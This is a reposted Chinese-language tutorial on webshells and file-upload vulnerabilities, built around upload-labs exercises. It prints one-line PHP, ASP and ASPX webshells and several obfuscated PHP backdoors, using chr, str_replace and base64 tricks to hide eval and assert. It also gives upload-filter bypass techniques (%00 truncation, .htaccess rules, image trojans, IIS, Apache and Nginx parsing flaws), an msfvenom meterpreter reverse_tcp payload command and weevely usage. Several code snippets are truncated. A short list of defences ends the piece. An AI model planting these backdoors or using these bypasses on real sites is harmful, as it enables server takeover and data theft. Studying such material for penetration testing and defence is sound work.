1. WebShellphp
Shell是系統的用戶界面,提供了用戶與內核進行交互操做的一種接口。它接收用戶輸入的命令並把它送入內核去執行。由於系統內核使咱們不能直接操做的,shell就給咱們提供了一個接口,經過shell咱們能夠把命令送入到內核。shell管理用戶與操做系統之間的交互:等待你輸入,向操做系統解釋你的輸入,而且處理各類各樣的操做系統的輸出結果。
傳統意義上的shell指的是命令行式的shell,之後若是不特別註明,shell是指命令行式的shell。
表示用戶擁有的權限,不一樣的shell權限不一樣html
黑客在入侵了一個網站後,一般會留下一個asp或php後門文件與網站web服務器進行交互,獲得一個命令執行環境,以達到控制網站服務器的目的。這個後門文件就是所謂的webshell。python
一句話木馬是Webshell的一種,因爲這類Webshell代碼比較少,每每只有一行代碼,因此就被稱爲一句話木馬。
一句話木馬雖然代碼簡單,可是結合中國菜刀、蟻劍等WebShell管理工具,它們的功能倒是很是的強大。git
在PHP、ASP、ASPX中都有能夠執行外部程序的函數,一句話木馬就是經過這些函數來工做的,由頁面傳輸待執行的命令,函數在遠程執行命令。github
1 |
<?php eval($_POST['cmd']);?> |
1 |
<% eval request('cmd')%> |
1 |
<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"])%> |
代碼量少,體積小,不易被發現,配合WebShell管理工具功能強大。web
代碼量較少,體積較小,基本功能(文件管理、命令執行、數據庫管理)都有shell
代碼量多,體積大,易被發現,功能多數據庫
WebShell的權限和Apache權限有關,能夠經過限制Apache權限下降WebShell的權限。編程
爲Apache添加用戶windows
1 |
net user Apache password /add |
打開服務管理
找到Apache-屬性-登陸-此帳戶
登陸Apache用戶
不使用源碼安裝Apache就是最低權限
在文件上傳的功能處,若服務端腳本語言未對上傳的文件進行嚴格驗證和過濾,致使惡意用戶上傳惡意的腳本文件時,就有可能獲取執行服務端命令的能力,這就是文件上傳漏洞。
文件上傳漏洞對Web應用來講是一種很是嚴重的漏洞。通常狀況下,Web應用都會容許用戶上傳一些文件,如頭像、附件等信息,若是Web應用沒有對用戶上傳的文件進行有效的檢查過濾,那麼惡意用戶就會上傳一句話木馬等Webshell,從而達到控制Web網站的目的。
相冊、頭像上傳
視頻、照片分享
附件上傳
文件管理器
檢測文件後綴名
繞過方式:
1.關閉JS解析
2.在白名單中加上要上傳的文件類型
3.破壞JS
4.攔截數據包修改文件名
upload-labs第1關
檢測content-type
繞過方式:
抓包修改content-type image/png image/jpeg image/bmp
{php|php3|php4|asp|html|jsp}
1 |
" = . |
第一步操做能夠向服務器中寫一個0字節的文件
1 |
test.php:.jpg |
第二步上傳時,修改文件名爲test.>>>或test.<
點或者空格結尾的文件再保存的時候,點和空格會被刪除
shell.php.(空格)或shell.php (空格)
php版本要小於5.3.4,5.3.4及以上已經修復該問題;
magic_quotes_gpc須要爲OFF狀態,在PHP.ini中修改
抓包
修改URL,在末尾加上能夠解析的擴展名和%00進行截斷
抓包-在保存路徑後添加能夠解析的擴展名並使用%00進行截斷,要將%00選中Ctrl+Shift+U轉爲十六進制。
建立.htaccess文件
1 |
<FilesMatch "test.io"> |
上傳.htaccess文件,再上傳test.io,test.io被解析爲php
格式 | 文件頭 |
---|---|
JPG | FF D8 FF E0 00 10 4A 46 49 46 |
GIF | 47 49 46 38 39 61 |
PNG | 89 50 4E 47 |
Windows Bitmap (bmp) | 42 4D |
TIFF (tif) | 49 49 2A 00 |
CAD (dwg) | 41 43 31 30 |
Adobe Photoshop (psd) | 38425053 |
Rich Text Format (rtf) | 7B5C727466 |
MS Word/Excel (xls.or.doc) | D0CF11E0 |
MS Access (mdb) | 5374616E64617264204A |
ZIP Archive (zip) | 504B0304 |
RAR Archive (rar) | 52617221 |
Wave (wav) | 57415645 |
AVI (avi) | 41564920 |
Real Media (rm) | 2E524D46 |
MPEG (mpg) | 000001BA |
MPEG (mpg) | 000001B3 |
Quicktime (mov) | 6D6F6F76 |
Adobe Acrobat (pdf) | 255044462D312E |
Windows Media (asf) | 3026B2758E66CF11 |
MIDI (mid) | 4D546864 |
生成圖片木馬
1 |
copy test.jpg/b+test.php/a shell.jpg |
使用edjpgcom.exe
將圖片拖拽到.exe上
須要和其餘漏洞(解析漏洞、文件包含)結合使用
調用API 或函數去進行文件加載測試常見的是圖像渲染測試,再變態點的甚至是進行二次渲染(後面會提到) 對文件加載檢測的攻擊通常就兩種方式,一個是渲染測試繞過,另外一個是攻擊文件加載器自身。
先用 GIMP 對一張圖片進行代碼注入 用 winhex 看數據能夠分析出這類工具的原理是 在不破壞文件自己的渲染狀況下找一個空白區進行填充代碼 通常是圖片的註釋區
upload-labs第16關
二次渲染基本上無法繞過,只能對文件加載器進行攻擊
二次渲染至關因而把本來屬於圖像數據的部分選取出來,再用API 或函數進行從新渲染,在這個過程當中非圖像數據的部分直接就隔離開了
對文件加載器進行攻擊,常見的就是溢出攻擊,上傳惡意文件後,服務上的文件加載器進行加載測試時,被觸發攻擊執行shellcode好比 access/mdb 溢出(Microsoft Jet Engine MDB File溢出的漏洞,該漏洞是因爲access在加載mdb文件時,處理不當,產生的shellcode執行,參考連接:https://blog.csdn.net/kendyhj9999/article/details/18738435)
Magic image
線程編程中,爲了保證數據操做的一致性,操做系統引入了鎖機制,用於保證臨界區代碼的安全。經過鎖機制,可以保證在多核多線程環境中,在某一個時間點上,只能有一個線程進入臨界區代碼,從而保證臨界區中操做數據的一致性。
臨界區指的是一個訪問共用資源(例如:共用設備或是共用存儲器)的程序片斷,而這些共用資源又沒法同時被多個線程訪問的特性。
競爭條件發生在多個線程同時訪問同一個共享代碼、變量、文件等沒有進行鎖操做或者同步操做的場景中。
upload-labs第17關
有些上傳頁面沒有提交按鈕,能夠用HTML編輯From表單,添加提交按鈕
目錄解析漏洞:以asp/asa等結尾的目錄,其目錄下的文件都可被解析
文件名解析漏洞:以.asp/asa;*.png或;*.jpg結尾的文件都可被解析
IIS應用層漏洞:以asa、cer、cdx結尾的文件都可被解析
在當前文件中,有IIS可以解析的擴展名(asp/aspx),這個文件可被解析
a.aspx.a
a.aspx.jpg.jpg…jpg
在默認Fast-CGI開啓情況下,上傳一個名字爲wooyun.jpg,內容爲
1 |
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> |
的文件,而後訪問wooyun.jpg/.php,在這個目錄下就會生成一句話木馬 shell.php
x.asp%00.jpg
服務器配置不當形成,由於開啓Webdav,使應用程序可直接對Web Server進行讀寫,同時IIS中又配置目錄可寫,便產生很嚴重的問題。
原理:Apache在解析文件過程當中,從右向左開始判斷後綴名,遇到不認識的後綴名,會向左移動一位再作判斷
test.php.php123.cdd
先解析.cdd不認識,再解析.php123,再解析php
服務器自己的漏洞
再配置文件中添加一行配置:
1 |
AddHander php5-script .php |
test2.php.jpg
1 |
AddType application/x-httpd-php .jpg |
即便是.jpg文件也能被解析
在默認Fast-CGI開啓情況下,上傳一個名字爲wooyun.jpg,內容爲
1 |
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> |
的文件,而後訪問wooyun.jpg/.php,在這個目錄下就會生成一句話木馬 shell.php
上傳文件是圖片木馬,在訪問時,URL中圖片後綴名後面加上%00.php能夠正常解析
xxx.jpg%00.php
在配置文件中設置fix_pathinfo這個參數(開啓,並設置相應的值),服務器中就會出現各類解析漏洞(CGI解析漏洞)
1 |
/1.jpg/1.php |
可直接解析的後綴名、圖片木馬
後綴名可直接解析,知道文件的路徑
圖片木馬 結合其餘漏洞(解析漏洞或文件包含),知道文件路徑
文件路徑獲取方法:
上傳正常圖片,而且顯示該圖片,直接看圖片路徑
掃目錄
信息泄露--列目錄
1 |
$a =str_replace("x","",」axsxxsxexrxxt」);$a($_POST[「code」]); |
用字符串隱藏assert方法,而且利用它加上動態傳入參數的方式構造後門。
1 |
$_GET[‘a’]($_GET[‘b’]); |
1 |
($code = $_POST[‘code’]) && |
1 |
$fun=creat_function('',$_POST['a']); |
1 |
@call_user_func(assert,$_POST['a']); |
1 |
<?php |
1 |
<?php |
1 |
<?php |
1 |
<?php |
1 |
base64_decode函數 |
.
操做符 1 |
<?php |
1 |
<?php |
1 |
$e=$_REQUEST['e']; |
eval不能回調,assert能夠
使用菜刀鏈接
\e=assert\
將函數做用到數組中的每一個值上,作相應的處理,並返回帶有新值的數組:
1 |
$e = $_REQUEST['e']; |
使用自定義的比較函數對數組$arr中的元素按鍵值進行排序
1 |
$e=$_REQUEST['e']; |
PHP版本>5.4
1 |
if(isset($_POST['com'])&&md5($_POST['com'])== '202cb962ac59075b964b07152d234b70'&& isset($_POST['content'])) $content = strtr($_POST['content'], '-_,', '+/=');eval(base64_decode($content)); |
1 |
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));} |
1 |
<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?> |
1 |
<? |
1.生成木馬
1 |
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.126.126 lport=12600 -f raw >./shell.php |
1 |
set payload php/meterpreter/reverse_tcp |
1 |
python weevely.py generate password path |
終端
1 |
python weevely.py url password |
1.使用白名單限制上傳類型
黑名單可使用各類方法進行繞過
2.使用最新版本的IIS、Apache、Nginx
3.對上傳文件名進行改寫
4.檢查HTTP Header中的Content-Type、檢查文件上傳路徑
5.分析文件頭和文件尾
6.對圖片進行渲染,最好二次渲染,並對API和函數進行加固,防止溢出
7.設置文件夾權限
根據需求將文件上傳的目錄設置爲不可執行
8.儘量讓上傳的文件的路徑不可知,將路徑保存到數據庫中,在須要的時候再進行讀取
9.限制上傳文件的大小
10.單獨設置文件服務器的域名
[1] Web條件競爭
[2] 解析漏洞整理
轉載:https://chirec.github.io/2019/04/19/Upload-Files/
之後你走你的成華大道,我走個人二仙橋。